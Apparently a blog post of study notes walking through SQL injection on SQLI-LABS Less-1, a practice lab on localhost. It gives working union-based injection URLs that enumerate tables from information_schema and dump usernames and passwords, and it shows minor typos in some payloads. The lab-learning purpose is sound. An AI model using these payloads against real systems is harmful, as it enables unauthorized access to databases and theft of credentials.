首页 > 数据库 >学习笔记-SQL注入(SQLI-LABS第一关)

学习笔记-SQL注入(SQLI-LABS第一关)

时间:2022-09-30 17:44:17浏览次数:46  
标签:判断 回显 数据库 LABS SQLI --+ SQL id concat

初学者掌握手工注入的过程:

  (1)判断是否存在注入点     //(URL,POST表单,HTTP头部字段......)

  (2)判断字段长度(字段数)    //(有可能保存在后台数据库某一个表当中,表当中的某一个或几个字段)

  (3)判断字段回显位置    //

  (4)判断数据库信息

  (5)查找数据库名

  (6)查找数据库表

  (7)查找数据库表中所有字段以及字段值

  (8)猜解账号密码

  (9)登录管理员后台

   

(1)判断是否存在注入点

  以SQLI-LABS第一关为例:

  正常登录

  

 

  URL后添加?id=1',回显错误,判断可能存在SQL注入漏洞, 进一步判断

  

  添加?id=1'and'1'='1,回显正常。

  

 

   添加?id=1'and'1'='2,回显错误,可能存在字符串注入漏洞。

   

 (2)判断字段长度(字段数)

  使用order by 函数判断字段数,?id=1' order by 4 --+     (因为-- 这个注释符空格会被服务器自动删掉,而+在SQL语句中会被解释成空格,所以使用--+来注释掉LIMIT 0,1,%23也可以起到注释作用;1后面的单引号为了保持闭合关系;%23在urlencode编码中被解释成#,url中#是指导浏览器动作的,对服务端无用,所以使用%23;urlencode编码中空格是%20,所以%20也可以;)

  

(3)判断字段回显位置

  这里使用联合查询来看看有无回显位置:?id=1' union select by 1,2,3,4 --+ 发现只执行?di=1......,所以把1改成-1,成功出现回显位置。

  

(4)判断数据库信息

  将语句中3替换为database()来显示数据库名:http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,database()--+;得出结果security

  

(5)查找数据库名

  语句中3替换为http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

  

(6)查找数据库表

  

  

 

(7)查找数据库表中所有字段以及字段值

  http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,concat_ws(',',id,username,password) from  security.users limit 1,1--+  

  

concat_ws() 是concat()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。

group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。

 

第二关过程和第一关差不多

 

 

 

 

标签:判断,回显,数据库,LABS,SQLI,--+,SQL,id,concat
From: https://www.cnblogs.com/galaxy-007/p/16744510.html

相关文章

  • 系统库- SQL Server隐藏系统库Resource探究
    概述对于许多熟悉SQLServer的人来说,系统数据库只与四个数据库相关联,它们分别是master、model、msdb、tempdb。即使在SQLServerManagementStudio(SSMS)中,当......
  • SQL之高级数据过滤
    1、组合WHERE子句1.1、AND操作符1select2col_name3from4table_name5where6col_name='str'7and8col_name2='str';1.2、OR操作符......
  • 如何通过执行SQL为低代码项目提速?
    见多了SQL为代码开发提速,那么当低代码遇到SQL会擦出怎样的火花呢?本文将低代码和SQL结合进行介绍,让大家了解如何通过执行SQL为低代码项目提速。背景自从计算机诞生的一刻起......
  • sqlserver 之 CROSS apply
    CROSSapply作用:两张表直接连接,不需要任何的关联条件,产生的结果就是这两张表的笛卡儿集。相当于:select*fromtableA,tableB。 使用场景:如果查询结果集需要用到表值函......
  • r2d2-postgresql
    externcrater2d2;usestd::{thread,io::Read};user2d2_postgres::{postgres::{NoTls,GenericClient,SimpleQueryRow,SimpleQueryMessage},PostgresConnectionM......
  • 如何通过执行SQL为低代码项目提速?
    见多了SQL为代码开发提速,那么当低代码遇到SQL会擦出怎样的火花呢?本文将低代码和SQL结合进行介绍,让大家了解如何通过执行SQL为低代码项目提速。背景自从计算机诞生的一刻......
  • 《sql经典实例》第二版
    1数据表准备创建emp表CREATETABLE`emp`(`EMPNO`int(11)unsignedNOTNULLAUTO_INCREMENT,`ENAME`varchar(40)COLLATEutf8mb4_unicode_ciDEFAULTNULL,......
  • 工业网关如何实现MQTT、MODBUS、OPCUA、SQL、HTTP之间协议转换?
    随着工业现场总线技术以及工业物联网的蓬勃发展,不同的自动化设备往往具备多种不同的通讯协议,在实际应用中,影响了设备的数据采集与通信效率,如工业可编程控制器PLC,西门子、欧......
  • mysql循环插入分隔符分开的字符串
    CREATEDEFINER=`root`@`localhost`PROCEDURE`test`()BEGIN DECLAREi,help_topic_idINT; SETi=10469; SEThelp_topic_id=0;WHILEi<10475DOINSERTINTO`login`.t_u......
  • 【MySQL】MariaDB使用connect引擎直接访问SQLServer数据库
    场景:mariadb通过connect引擎,访问sqlserver2008中的数据。1.安装connect存储引擎如果mariadb是使用二进制包安装的话,默认已经安装了connect存储引擎否则就需要执行手......